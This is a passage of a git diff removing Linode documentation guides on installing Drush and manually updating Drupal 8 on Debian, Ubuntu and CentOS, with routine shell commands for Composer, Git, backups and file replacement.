[Git](/cloud/guides/how-to-configure-git/), you will also need to install Git. In this section, you will install both dependencies. - -1. Install Git: - - sudo apt-get install git - -1. Install Composer: - - curl -sS https://getcomposer.org/installer | php - -1. Move the composer.phar file to `/usr/local/bin/`, so that it can be accessed from any directory: - - sudo mv composer.phar /usr/local/bin/composer - -1. Composer has a few PHP dependencies it needs in order to run. Install them on your Debian system: - - sudo apt install php-dom php-zip unzip php-gd php-mbstring - -## Install Drush Globally - -Composer is designed to install PHP dependencies on a per-project basis. The steps below will install a global Drush for all projects. If you want to install Drush for a specific system user, skip to the [Install Drush for a Limited User Account](#install-drush-for-a-limited-user-account) section. - -1. Create a symbolic link between Composer's local bin directory, `/usr/local/bin/composer`, and the system's bin directory, `/usr/bin/`: - - sudo ln -s /usr/local/bin/composer /usr/bin/composer - -1. Use Git to download - or [clone](/cloud/guides/how-to-install-git-and-clone-a-github-repository/#clone-a-github-test-repository) - the [GitHub Drush project](https://github.com/drush-ops/drush) into a new directory, `/usr/local/src/drush`: - - sudo git clone https://github.com/drush-ops/drush.git /usr/local/src/drush - -1. Update the ownership of your new Drush directory to be your limited user account: - - sudo chown example_user:example_user -R /usr/local/src/drush - -1. Change the working directory to your new Drush directory: - - cd /usr/local/src/drush - -1. Use Git to checkout the version of Drush that you wish to use. View the GitHub project's [releases page](https://github.com/drush-ops/drush/releases) to view all available versions. - - For a different release, replace the version number, `10.2.2`, in the following command: - - sudo git checkout 10.2.2 - -1. Create a symbolic link between the Drush directory in `/usr/local/src` to `/usr/bin`, so that the Drush command can be called from any directory: - - sudo ln -s /usr/local/src/drush/drush /usr/bin/drush - -1. Now, run the Composer install command: - - composer install - -1. Drush has now been installed for all users on your Linode. To verify the installation, check Drush's version number. - - drush --version - - You should see a similar output: - - {{< output >}} -Drush Commandline Tool 10.2.2 - {{}} - -## Install Drush for a Limited User Account -You may want to install Drush for only certain system users, for example, the **site admin** or the Apache webserver. This option may be optimal for a shared-hosting environment. Also, this allows individual users to install different versions of Drush and even install separate versions specific to a single project. Ensure you run the commands from the limited user account's home directory. Before you complete this section, ensure you have completed the steps in the [Install Git & Composer](#install-git-composer) section of the guide. - -1. Install Drush using Composer: - - composer require drush/drush - - This will install Drush in your `~/vendor/bin/drush` directory. - -1. Using the text editor of your choice, edit the user's `.bashrc` file to add the `vendor` directory to your path: - - {{< file "~/.bashrc" >}} -export PATH="$HOME/vendor/bin:$PATH" - {{< /file >}} - -1. Run the `source` command on the `.bashrc` file to enable the changes: - - source ~/.bashrc - -1. Check to see that Drush was installed successfully: - - drush --version - - {{< note respectIndent=false >}} -You can install the [Drush Launcher](https://github.com/drush-ops/drush-launcher), a utility to be able to call Drush globally. This program listens on your `$PATH` and hands control to a site-local Drush that is in the `~/vendor` directory. - {{< /note >}} - -## Using Drush - -Drush has dozens of [commands](https://www.drupal.org/docs/8/modules/d8-rules-essentials/for-developers/tools/drush-commands) with hundreds of options. Drush can interface with MySQL, Drupal, Git, and more. Below are a few examples of some useful Drush commands to get you started. Refer to the [Drush Commands](https://www.drupal.org/docs/8/modules/d8-rules-essentials/for-developers/tools/drush-commands) documentation for more details. - -1. To get started with Drush, run it without any following commands to list the help manual: - - drush - -1. View more detailed documentation for a specific command by typing `drush help` and then the command, for example: - - drush help site-install - -1. List many of the specs for your server and website with: - - drush status diff --git a/docs/guides/websites/cms/drupal/how-to-install-drush-on-ubuntu-18-04/index.md b/docs/guides/websites/cms/drupal/how-to-install-drush-on-ubuntu-18-04/index.md deleted file mode 100644 index 34e23fead30..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drush-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -slug: how-to-install-drush-on-ubuntu-18-04 -title: Install Drush on Ubuntu 18.04 -title_meta: How to Install Drush on Ubuntu 18.04 -description: 'Drush is a command line tool for creating, maintaining, and modifying Drupal websites. This guide will walk you through installing Drush on Ubuntu 18.04' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-29 -keywords: ["drupal", "cms", "content management system", "content management framework", "ubuntu", "drush"] -aliases: ['/websites/cms/drupal/how-to-install-drush-on-ubuntu-18-04/','/websites/cms/drupal/drush-drupal/how-to-install-drush-on-ubuntu-18-04/','/websites/cms/drush-drupal/'] -tags: ["drupal","ubuntu","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Drush_onUbuntu1804.png -external_resources: - - '[Drush Documentation](https://docs.drush.org/en/master/)' - - '[Composer Documentation](https://getcomposer.org/doc/)' -relations: - platform: - key: how-to-install-drush - keywords: - - distribution: Ubuntu 18.04 ---- - -[Drush](https://www.drush.org/) is a command line tool for creating, administrating, and modifying Drupal websites. Command line tools, like Drush, add functionality through additional command packages. Once installed, Drush is as easy to use as any of the basic Linux commands. The name comes from combining the words Drupal and shell. Drush is designed only for Drupal and cannot be used with other content management systems. - -Both new and experienced Drupal users can benefit from learning Drush. Users that have worked with a command line interface before have an advantage, but Drush is an excellent application for beginners, too. - -## Before You Begin - -Before installing Drush, ensure that the following prerequisites have been met: - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install and configure a [LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with ``sudo``. If you're not familiar with the ``sudo`` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Install Git & Composer - -The developers of Drush recommend installing Drush using [Composer](https://getcomposer.org/doc/00-intro.md), a PHP dependency manager. Since the Drush project is hosted on [GitHub](https://github.com/) and controlled with [Git](/cloud/guides/how-to-configure-git/), you will also need to install Git. In this section, you will install both dependencies. - -1. Install Git: - - sudo apt-get install git - -1. Install Composer: - - curl -sS https://getcomposer.org/installer | php - -1. Move the composer.phar file to `/usr/local/bin/`, so that it can be accessed from any directory: - - sudo mv composer.phar /usr/local/bin/composer - -1. Composer has a few PHP dependencies it needs in order to run. Install them on your Ubuntu system: - - sudo apt-get install php-xml, zip - -## Install Drush Globally - -Composer is designed to install PHP dependencies on a per-project basis. The steps below will install a global Drush for all projects. If you want to install Drush for a specific system user, skip to the [Install Drush for a Limited User Account](#install-drush-for-a-limited-user-account) section. - -1. Create a symbolic link between Composer's local bin directory, `/usr/local/bin/composer`, and the system's bin directory, `/usr/bin/`: - - sudo ln -s /usr/local/bin/composer /usr/bin/composer - -1. Use Git to download - or [clone](/cloud/guides/how-to-install-git-and-clone-a-github-repository/#clone-a-github-test-repository) - the [GitHub Drush project](https://github.com/drush-ops/drush) into a new directory, `/usr/local/src/drush`: - - sudo git clone https://github.com/drush-ops/drush.git /usr/local/src/drush - -1. Change the working directory to the new Drush directory: - - cd /usr/local/src/drush - -1. Use Git to checkout the version of Drush that you wish to use. View the GitHub project's [releases page](https://github.com/drush-ops/drush/releases) to view all available versions. - - For a different release, replace the version number, `10.2.2`, in the following command: - - sudo git checkout 10.2.2 - -1. Create a symbolic link between the Drush directory in `/usr/local/src` to `/usr/bin`, so that the Drush command can be called from any directory: - - sudo ln -s /usr/local/src/drush/drush /usr/bin/drush - -1. Now, run the Composer install command: - - sudo composer install - -1. Drush has now been installed for all users on your Linode. To verify the installation, check Drush's version number. - - drush --version - - You should see a similar output: - - {{< output >}} -Drush Commandline Tool 10.2.2 - {{}} - -## Install Drush for a Limited User Account - -You may want to install Drush for only certain system users, for example, the **site admin** or the Apache webserver. This option may be optimal for a shared-hosting environment. Also, this allows individual users to install different versions of Drush and even install separate versions specific to a single project. Ensure you run the commands from the limited user account's home directory. Before you complete this section, ensure you have completed the steps in the [Install Git & Composer](#install-git-composer) section of the guide. - -1. Install Drush using Composer: - - composer require drush/drush - - This will install Drush in your `~/vendor/bin/drush` directory. - -1. Using the text editor of your choice, edit the user's `.bashrc` file to add the `vendor` directory to your path: - - {{< file "~/.bashrc" >}} -export PATH="$HOME/vendor/bin:$PATH" - {{< /file >}} - -1. Run the `source` command on the `.bashrc` file to enable the changes: - - source ~/.bashrc - -1. Check to see that Drush was installed successfully: - - drush --version - - {{< note respectIndent=false >}} -You can install the [Drush Launcher](https://github.com/drush-ops/drush-launcher), a utility to be able to call Drush globally. This program listens on your `$PATH` and hands control to a site-local Drush that is in the `~/vendor` directory. - {{< /note >}} - -## Using Drush - -Drush has dozens of [commands](https://www.drupal.org/docs/8/modules/d8-rules-essentials/for-developers/tools/drush-commands) with hundreds of options. Drush can interface with MySQL, Drupal, Git, and more. Below are a few examples of some useful Drush commands to get you started. Refer to the [Drush Commands](https://www.drupal.org/docs/8/modules/d8-rules-essentials/for-developers/tools/drush-commands) documentation for more details. - -1. To get started with Drush, run it without any following commands to list the help manual: - - drush - -1. View more detailed documentation for a specific command by typing `drush help` and then the command, for example: - - drush help site-install - -1. List many of the specs for your server and website with: - - drush status diff --git a/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-centos-8/index.md b/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-centos-8/index.md deleted file mode 100644 index 8d37d648057..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-centos-8/index.md +++ /dev/null @@ -1,146 +0,0 @@ ---- -slug: how-to-update-drupal-8-on-centos-8 -title: Update Drupal 8 on CentOS 8 -title_meta: How to Update Drupal 8 on CentOS 8 -description: 'This guide will show you how to update your Drupal 8 installation running on a CentOS 8 Linode.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-21 -keywords: ["cms", "apache", "php", "content management system", "drupal 8", "update"] -tags: ["drupal","centos","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Drupal8onCentOS8.png -relations: - platform: - key: how-to-update-drupal-8 - keywords: - - distribution: CentOS 8 -aliases: ['/websites/cms/drupal/how-to-update-drupal-8-on-centos-8/'] ---- - -Drupal 8 is the latest version of the popular [Drupal](https://www.drupal.org/) content management system. While Drupal 8.1 includes a simple feature for incremental updates, you must preform manual Drupal core updates for any preceding versions. This guide demonstrates how to manually install an incremental Drupal 8 update on your Linode. The examples in this guide assume you have a functional [Drupal 8 installation](/cloud/guides/how-to-install-and-configure-drupal-on-centos-8/) running a [LAMP stack](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) on CentOS 8. - -## Before You Begin - -1. Complete all the steps in the [Install and Configure Drupal 8 on CentOS 8](/cloud/guides/how-to-install-and-configure-drupal-on-centos-8/) guide. - -1. If you followed the [Install and Configure Drupal 8 on CentOS 8](/cloud/guides/how-to-install-and-configure-drupal-on-centos-8/) guide, your site's document root should be in the `/var/www/html/example.com/` directory, where `example.com` is your own site's domain name. You can list all your directories in `/var/www/html` to verify the location of your site's document root. - - ls /var/wwww/html/ - -1. Update your CentOS 8 system if you did not complete that step while installing Drupal 8. - - sudo yum update - - {{% content "limited-user-note-shortguide" %}} - -## Create Backups - -In this section, you will create an archive of your Drupal site's files and store the archive in a `backups` directory. If needed, you could extract the compressed files in your backup archive to restore the state of your site prior to updating it. - -1. Create a `backups` directory in your site's document root to store any backups you make of your Drupal site. - - sudo mkdir /var/www/html/example.com/backups - -1. Create an archive of your existing site files and move it into the `backups` directory. Ensure you replace `example.com` with your own site's domain name. - - cd /var/www/html/example.com/public_html - sudo tar -cvzf example.com-BCKP-$(date +%Y%m%d).tar.gz ./ - sudo mv -v example.com-BCKP-*.tar.gz ../backups - - {{< note respectIndent=false >}} -This process can also be scripted and run on a regular basis using [cron](/cloud/guides/schedule-tasks-with-cron/). - {{< /note >}} - -## Download Updates - -You are now ready to check your Drupal system for available updates. Once you have identified the necessary updates, you will download them as an archive to your Linode. - -1. Log in to your Drupal site and navigate to the [Admin Toolbar](https://www.drupal.org/project/admin_toolbar). Click on **Reports** and then on **Available updates**. - - {{< note respectIndent=false >}} -If **Available updates** is not listed, enable the [Update Manager](https://www.drupal.org/docs/8/core/modules/update-manager) module by navigating to the **Extend** menu item in the Admin Toolbar. See [Drupal's documentation](https://www.drupal.org/docs/8/extending-drupal-8/installing-drupal-8-modules#s-step-2-enable-the-module) for more details on enabling modules. -{{< /note >}} - -1. Right click the link under the **RECOMMENDED VERSION** heading and copy the link address and paste it somewhere you can access later. - - ![A Drupal Update](drupal-updates-download.png) - - {{< note respectIndent=false >}} -If you receive an error when your Drupal 8 installation checks for available updates, it may be having issues communicating with the Drupal website to see if there are updates. You can check your site's recent log messages, by navigating to **Reports** and selecting **Recent log messages** to further investigate the issue. - -If your CentOS installation is running in enforcing mode, ensure you are allowing httpd to make network connections. One way to do this is to set the corresponding SELinux boolean to `true`: - - sudo setsebool httpd_can_network_connect true - -Also, ensure that firewalld is allowing `https` traffic: - - sudo firewall-cmd --zone=public --add-service=https - {{< /note >}} - -1. Connect to your Linode over SSH: - - ssh user@192.0.2.0 - -1. Navigate to your site's directory. Download the Drupal core archive using `wget` and pasting the link address you copied from Step 2. Ensure you replace `example.com` with your own site's directory name. - - cd /var/www/html/example.com - sudo wget https://ftp.drupal.org/files/projects/drupal-8.8.2.tar.gz - -## Upgrade Your Site - -Now that the Drupal core archive is saved to your Linode, you are ready to proceed with the version upgrade of your site. - -### Enable Maintenance Mode - -Drupal's *maintenance mode* allows users with the right permissions to use your site while everyone else will be presented with a message that the site is under maintenance. - -1. While logged into your Drupal site, navigate to **Configuration**. Under the **Development** heading, click on **Maintenance mode**. - - ![Maintenance Mode](drupal-updates-maintenance.png) - -1. Check the box next to "Put site into maintenance mode." Enter a message if desired, and click **Save Configuration**. - - ![Turn on Maintenance Mode](drupal-updates-maintenance2.png) - -### Replace System Files - -1. Toggle back to your terminal window and ensure you are connected to your Linode over SSH. - - ssh user@192.0.2.0 - -1. Navigate to your site's `/var/www/html/example.com/public_html` directory and remove existing files and folders **except** `sites` and `profiles`. Ensure you replace `example.com` with your own site's directory name. - - cd /var/www/html/example.com/public_html - sudo rm -ifr autoload.php composer.* example.gitignore index.php LICENSE.txt README.txt robots.txt update.php web.config && sudo rm -ifr core/ modules/ vendor/ themes/ - -1. Go up one directory to `/var/www/html/example.com/` and expand the Drupal core archive that you downloaded in the [Download Updates](#download-updates) section into your `public_html` folder. Replace `drupal-8.8.2.tar.gz` with the name of the archive you downloaded: - - cd .. - sudo tar -zxvf drupal-8.8.2.tar.gz --strip-components=1 -C public_html - -1. From a browser on your local machine, navigate to the following URL on your Drupal site `www.example.com/update.php`. Ensure you replace `example.com` with your own site's domain name. Follow the prompts to continue the update. - - {{< note respectIndent=false >}} -If `update.php` does not load or returns a 403 Forbidden error, you may need to update the ownership and permissions of the newly expanded files. For best practices on Drupal site directory and file permissions, see their [documentation](https://www.drupal.org/node/244924). -{{< /note >}} - -1. If you are [installing additional modules](https://www.drupal.org/docs/user_guide/en/extend-module-install.html) or configuring additional [security settings](https://www.drupal.org/security/secure-configuration), complete those updates now and continue on to the next step in this section when you are done. - - {{< note respectIndent=false >}} -The [Next Steps](#next-steps) section includes a list of Drupal security modules you may consider installing. - {{< /note >}} - -1. Rebuild the site's cache by navigating to the Admin Toolbar and click on **Configuration**. Under the **Development** heading, click on **Performance**. Finally, click on the **Clear all caches** button. - -1. Verify your site's status by viewing its status report. In the Admin Toolbar, click on **Reports**, then click on **Status report**. - -1. If the update was successful and your status report does not display any unexpected information, take the site out of maintenance mode by following step 2 in the [Enable Maintenance Mode](#enable-maintenance-mode) section. Ensure you uncheck the box next to the "Put site into maintenance mode" setting. - -## Next Steps - -As a next step, consider installing additional security modules from the [Drupal Project Module](https://www.drupal.org/project/project_module): - -* [Secure Login](https://www.drupal.org/project/securelogin) enforces secure authenticated session cookies -* [Password Policy](https://www.drupal.org/project/password_policy) defines a user password policy -* [Security Review](https://www.drupal.org/project/security_review) automates security testing diff --git a/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-debian-10/index.md b/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-debian-10/index.md deleted file mode 100644 index 14fe7fd1f6a..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-debian-10/index.md +++ /dev/null @@ -1,139 +0,0 @@ ---- -slug: how-to-update-drupal-8-on-debian-10 -title: Update Drupal 8 on Debian 10 -title_meta: How to Update Drupal 8 on Debian 10 -description: 'This guide will show you how to update your Drupal 8 installation running on a Debian 10 Linode.' -og_description: 'This guide will show you how to update your Drupal 8 installation running on an Debian 10 Linode.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-21 -keywords: ["cms", "apache", "php", "content management system", "drupal 8", "update"] -tags: ["drupal","lamp","cms","debian"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Drupal8onDebian10.png -relations: - platform: - key: how-to-update-drupal-8 - keywords: - - distribution: Debian 10 -aliases: ['/websites/cms/drupal/how-to-update-drupal-8-on-debian-10/'] ---- - -Drupal 8 is the latest version of the popular [Drupal](https://www.drupal.org/) content management system. While Drupal 8.1 includes a simple feature for incremental updates, you must preform manual Drupal core updates for any preceding versions. This guide demonstrates how to manually install an incremental Drupal 8 update on your Linode. The examples in this guide assume you have a functional [Drupal 8 installation](/cloud/guides/how-to-install-and-configure-drupal-on-debian-10/) running a [LAMP stack](/cloud/guides/how-to-install-a-lamp-stack-on-debian-10/) on Debian 10. - -## Before You Begin - -1. Complete all the steps in the [Install and Configure Drupal 8 on Debian 10](/cloud/guides/how-to-install-and-configure-drupal-on-debian-10/) guide. - -1. If you followed the [Install and Configure Drupal 8 on Debian 10](/cloud/guides/how-to-install-and-configure-drupal-on-debian-10/) guide, your site's document root should be in the `/var/www/html/example.com/` directory, where `example.com` is your own site's domain name. You can list all your directories in `/var/www/html` to verify the location of your site's document root. - - ls /var/wwww/html/ - -1. Update your Debian 10 system if you did not complete that step while installing Drupal 8. - - sudo apt-get update && sudo apt-get upgrade - - {{% content "limited-user-note-shortguide" %}} - -## Create Backups - -In this section, you will create an archive of your Drupal site's files and store the archive in a `backups` directory. If needed, you could extract the compressed files in your backup archive to restore the state of your site prior to updating it. - -1. Create a `backups` directory in your site's document root to store any backups you make of your Drupal site. - - sudo mkdir /var/www/html/example.com/backups - -1. Create an archive of your existing site files and move it into the `backups` directory. Ensure you replace `example.com` with your own site's domain name. - - cd /var/www/html/example.com/public_html - sudo tar -cvzf example.com-BCKP-$(date +%Y%m%d).tar.gz ./ - sudo mv -v example.com-BCKP-*.tar.gz ../backups - - {{< note respectIndent=false >}} -This process can also be scripted and run on a regular basis using [cron](/cloud/guides/schedule-tasks-with-cron/). - {{< /note >}} - -## Download Updates - -You are now ready to check your Drupal system for available updates. Once you have identified the necessary updates, you will download them as an archive to your Linode. - -1. Log in to your Drupal site and navigate to the [Admin Toolbar](https://www.drupal.org/project/admin_toolbar). Click on **Reports** and then on **Available updates**. - - {{< note respectIndent=false >}} -If **Available updates** is not listed, enable the [Update Manager](https://www.drupal.org/docs/8/core/modules/update-manager) module by navigating to the **Extend** menu item in the Admin Toolbar. See [Drupal's documentation](https://www.drupal.org/docs/8/extending-drupal-8/installing-drupal-8-modules#s-step-2-enable-the-module) for more details on enabling modules. -{{< /note >}} - -1. Right click the link under the **RECOMMENDED VERSION** heading and copy the link address and paste it somewhere you can access later. - - ![A Drupal Update](drupal-updates-download.png) - - {{< note respectIndent=false >}} -If you receive an error when your Drupal 8 installation checks for available updates, it may be having issues communicating with the Drupal website to see if there are updates. You can check your site's recent log messages, by navigating to **Reports** and selecting **Recent log messages** to further investigate the issue. - {{< /note >}} - -1. Connect to your Linode over SSH: - - ssh user@192.0.2.0 - -1. Navigate to your site's directory. Download the Drupal core archive using `wget` and pasting the link address you copied from Step 2. Ensure you replace `example.com` with your own site's directory name. - - cd /var/www/html/example.com - sudo wget https://ftp.drupal.org/files/projects/drupal-8.8.2.tar.gz - -## Upgrade Your Site - -Now that the Drupal core archive is saved to your Linode, you are ready to proceed with the version upgrade of your site. - -### Enable Maintenance Mode - -Drupal's *maintenance mode* allows users with the right permissions to use your site while everyone else will be presented with a message that the site is under maintenance. - -1. While logged into your Drupal site, navigate to **Configuration**. Under the **Development** heading, click on **Maintenance mode**. - - ![Maintenance Mode](drupal-updates-maintenance.png) - -1. Check the box next to "Put site into maintenance mode." Enter a message if desired, and click **Save Configuration**. - - ![Turn on Maintenance Mode](drupal-updates-maintenance2.png) - -### Replace System Files - -1. Toggle back to your terminal window and ensure you are connected to your Linode over SSH. - - ssh user@192.0.2.0 - -1. Navigate to your site's `/var/www/html/example.com/public_html` directory and remove existing files and folders **except** `sites` and `profiles`. Ensure you replace `example.com` with your own site's directory name. - - cd /var/www/html/example.com/public_html - sudo rm -ifr autoload.php composer.* example.gitignore index.php LICENSE.txt README.txt robots.txt update.php web.config && sudo rm -ifr core/ modules/ vendor/ themes/ - -1. Go up one directory to `/var/www/html/example.com/` and expand the Drupal core archive that you downloaded in the [Download Updates](#download-updates) section into your `public_html` folder. Replace `drupal-8.8.2.tar.gz` with the name of the archive you downloaded: - - cd .. - sudo tar -zxvf drupal-8.8.2.tar.gz --strip-components=1 -C public_html - -1. From a browser on your local machine, navigate to the following URL on your Drupal site `www.example.com/update.php`. Ensure you replace `example.com` with your own site's domain name. Follow the prompts to continue the update. - - {{< note respectIndent=false >}} -If `update.php` does not load or returns a 403 Forbidden error, you may need to update the ownership and permissions of the newly expanded files. For best practices on Drupal site directory and file permissions, see their [documentation](https://www.drupal.org/node/244924). -{{< /note >}} - -1. If you are [installing additional modules](https://www.drupal.org/docs/user_guide/en/extend-module-install.html) or configuring additional [security settings](https://www.drupal.org/security/secure-configuration), complete those updates now and continue on to the next step in this section when you are done. - - {{< note respectIndent=false >}} -The [Next Steps](#next-steps) section includes a list of Drupal security modules you may consider installing. - {{< /note >}} - -1. Rebuild the site's cache by navigating to the Admin Toolbar and click on **Configuration**. Under the **Development** heading, click on **Performance**. Finally, click on the **Clear all caches** button. - -1. Verify your site's status by viewing its status report. In the Admin Toolbar, click on **Reports**, then click on **Status report**. - -1. If the update was successful and your status report does not display any unexpected information, take the site out of maintenance mode by following step 2 in the [Enable Maintenance Mode](#enable-maintenance-mode) section. Ensure you uncheck the box next to the "Put site into maintenance mode" setting. - -## Next Steps - -As a next step, consider installing additional security modules from the [Drupal Project Module](https://www.drupal.org/project/project_module): - -* [Secure Login](https://www.drupal.org/project/securelogin) enforces secure authenticated session cookies -* [Password Policy](https://www.drupal.org/project/password_policy) defines a user password policy -* [Security Review](https://www.drupal.org/project/security_review) automates security testing diff --git a/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-ubuntu-18-04/index.md b/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-ubuntu-18-04/index.md deleted file mode 100644 index cad74b7cdfe..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,142 +0,0 @@ ---- -slug: how-to-update-drupal-8-on-ubuntu-18-04 -title: Update Drupal 8 on Ubuntu 18.04 -title_meta: How to Update Drupal 8 on Ubuntu 18.04 -description: 'This guide will show you how to update your Drupal 8 installation running on an Ubuntu 18.04 Linode.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-21 -keywords: ["cms", "apache", "php", "content management system", "drupal 8", "update"] -tags: ["drupal","ubuntu","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Drupal8onUbuntu1804.png -relations: - platform: - key: how-to-update-drupal-8 - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/websites/cms/drupal/how-to-update-drupal-8-on-ubuntu-18-04/'] ---- - -Drupal 8 is the latest version of the popular [Drupal](https://www.drupal.org/) content management system. While Drupal 8.1 includes a simple feature for incremental updates, you must preform manual Drupal core updates for any preceding versions. This guide demonstrates how to manually install an incremental Drupal 8 update on your Linode. The examples in this guide assume you have a functional [Drupal 8 installation](/cloud/guides/how-to-install-and-configure-drupal-on-ubuntu-18-04/) running a [LAMP stack](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) on Ubuntu 18.04. - -{{< note >}} -If you are not using Ubuntu 18.04, you can find a version of this guide for your Linux distribution in the [Drupal](/cloud/guides/websites/cms/drupal/) section of our documentation site. -{{< /note >}} - -## Before You Begin - -1. Complete all the steps in the [Install and Configure Drupal 8 on Ubuntu 18.04](/cloud/guides/how-to-install-and-configure-drupal-on-ubuntu-18-04/) guide. - -1. If you followed the [Install and Configure Drupal 8 on Ubuntu 18.04](/cloud/guides/how-to-install-and-configure-drupal-on-ubuntu-18-04/) guide, your site's document root should be in the `/var/www/html/example.com/` directory, where `example.com` is your own site's domain name. You can list all your directories in `/var/www/html` to verify the location of your site's document root. - - ls /var/wwww/html/ - -1. Update your Ubuntu 18.04 system if you did not complete that step while installing Drupal 8. - - sudo apt-get update && sudo apt-get upgrade - - {{% content "limited-user-note-shortguide" %}} - -## Create Backups - -In this section, you will create an archive of your Drupal site's files and store the archive in a `backups` directory. If needed, you could extract the compressed files in your backup archive to restore the state of your site prior to updating it. - -1. Create a `backups` directory in your site's document root to store any backups you make of your Drupal site. - - sudo mkdir /var/www/html/example.com/backups - -1. Create an archive of your existing site files and move it into the `backups` directory. Ensure you replace `example.com` with your own site's domain name. - - cd /var/www/html/example.com/public_html - sudo tar -cvzf example.com-BCKP-$(date +%Y%m%d).tar.gz ./ - sudo mv -v example.com-BCKP-*.tar.gz ../backups - - {{< note respectIndent=false >}} -This process can also be scripted and run on a regular basis using [cron](/cloud/guides/schedule-tasks-with-cron/). - {{< /note >}} - -## Download Updates - -You are now ready to check your Drupal system for available updates. Once you have identified the necessary updates, you will download them as an archive to your Linode. - -1. Log in to your Drupal site and navigate to the [Admin Toolbar](https://www.drupal.org/project/admin_toolbar). Click on **Reports** and then on **Available updates**. - - {{< note respectIndent=false >}} -If **Available updates** is not listed, enable the [Update Manager](https://www.drupal.org/docs/8/core/modules/update-manager) module by navigating to the **Extend** menu item in the Admin Toolbar. See [Drupal's documentation](https://www.drupal.org/docs/8/extending-drupal-8/installing-drupal-8-modules#s-step-2-enable-the-module) for more details on enabling modules. -{{< /note >}} - -1. Right click the link under the **RECOMMENDED VERSION** heading and copy the link address and paste it somewhere you can access later. - - ![A Drupal Update](drupal-updates-download.png) - - {{< note respectIndent=false >}} -If you receive an error when your Drupal 8 installation checks for available updates, it may be having issues communicating with the Drupal website to see if there are updates. You can check your site's recent log messages, by navigating to **Reports** and selecting **Recent log messages** to further investigate the issue. - {{< /note >}} - -1. Connect to your Linode over SSH: - - ssh user@192.0.2.0 - -1. Navigate to your site's directory. Download the Drupal core archive using `wget` and pasting the link address you copied from Step 2. Ensure you replace `example.com` with your own site's directory name. - - cd /var/www/html/example.com - sudo wget https://ftp.drupal.org/files/projects/drupal-8.8.2.tar.gz - -## Upgrade Your Site - -Now that the Drupal core archive is saved to your Linode, you are ready to proceed with the version upgrade of your site. - -### Enable Maintenance Mode - -Drupal's *maintenance mode* allows users with the right permissions to use your site while everyone else will be presented with a message that the site is under maintenance. - -1. While logged into your Drupal site, navigate to **Configuration**. Under the **Development** heading, click on **Maintenance mode**. - - ![Maintenance Mode](drupal-updates-maintenance.png) - -1. Check the box next to "Put site into maintenance mode." Enter a message if desired, and click **Save Configuration**. - - ![Turn on Maintenance Mode](drupal-updates-maintenance2.png) - -### Replace System Files - -1. Toggle back to your terminal window and ensure you are connected to your Linode over SSH. - - ssh user@192.0.2.0 - -1. Navigate to your site's `/var/www/html/example.com/public_html` directory and remove existing files and folders **except** `sites` and `profiles`. Ensure you replace `example.com` with your own site's directory name. - - cd /var/www/html/example.com/public_html - sudo rm -ifr autoload.php composer.* example.gitignore index.php LICENSE.txt README.txt robots.txt update.php web.config && sudo rm -ifr core/ modules/ vendor/ themes/ - -1. Go up one directory to `/var/www/html/example.com/` and expand the Drupal core archive that you downloaded in the [Download Updates](#download-updates) section into your `public_html` folder. Replace `drupal-8.8.2.tar.gz` with the name of the archive you downloaded: - - cd .. - sudo tar -zxvf drupal-8.8.2.tar.gz --strip-components=1 -C public_html - -1. From a browser on your local machine, navigate to the following URL on your Drupal site `www.example.com/update.php`. Ensure you replace `example.com` with your own site's domain name. Follow the prompts to continue the update. - - {{< note respectIndent=false >}} -If `update.php` does not load or returns a 403 Forbidden error, you may need to update the ownership and permissions of the newly expanded files. For best practices on Drupal site directory and file permissions, see their [documentation](https://www.drupal.org/node/244924). -{{< /note >}} - -1. If you are [installing additional modules](https://www.drupal.org/docs/user_guide/en/extend-module-install.html) or configuring additional [security settings](https://www.drupal.org/security/secure-configuration), complete those updates now and continue on to the next step in this section when you are done. - - {{< note respectIndent=false >}} -The [Next Steps](#next-steps) section includes a list of Drupal security modules you may consider installing. - {{< /note >}} - -1. Rebuild the site's cache by navigating to the Admin Toolbar and click on **Configuration**. Under the **Development** heading, click on **Performance**. Finally, click on the **Clear all caches** button. - -1. Verify your site's status by viewing its status report. In the Admin Toolbar, click on **Reports**, then click on **Status report**. - -1. If the update was successful and your status report does not display any unexpected information, take the site out of maintenance mode by following step 2 in the [Enable Maintenance Mode](#enable-maintenance-mode) section. Ensure you uncheck the box next to the "Put site into maintenance mode" setting. - -## Next Steps - -As a next step, consider installing additional security modules from the [Drupal Project Module](https://www.drupal.org/project/project_module): - -* [Secure Login](https://www.drupal.org/project/securelogin) enforces secure authenticated session cookies -* [Password 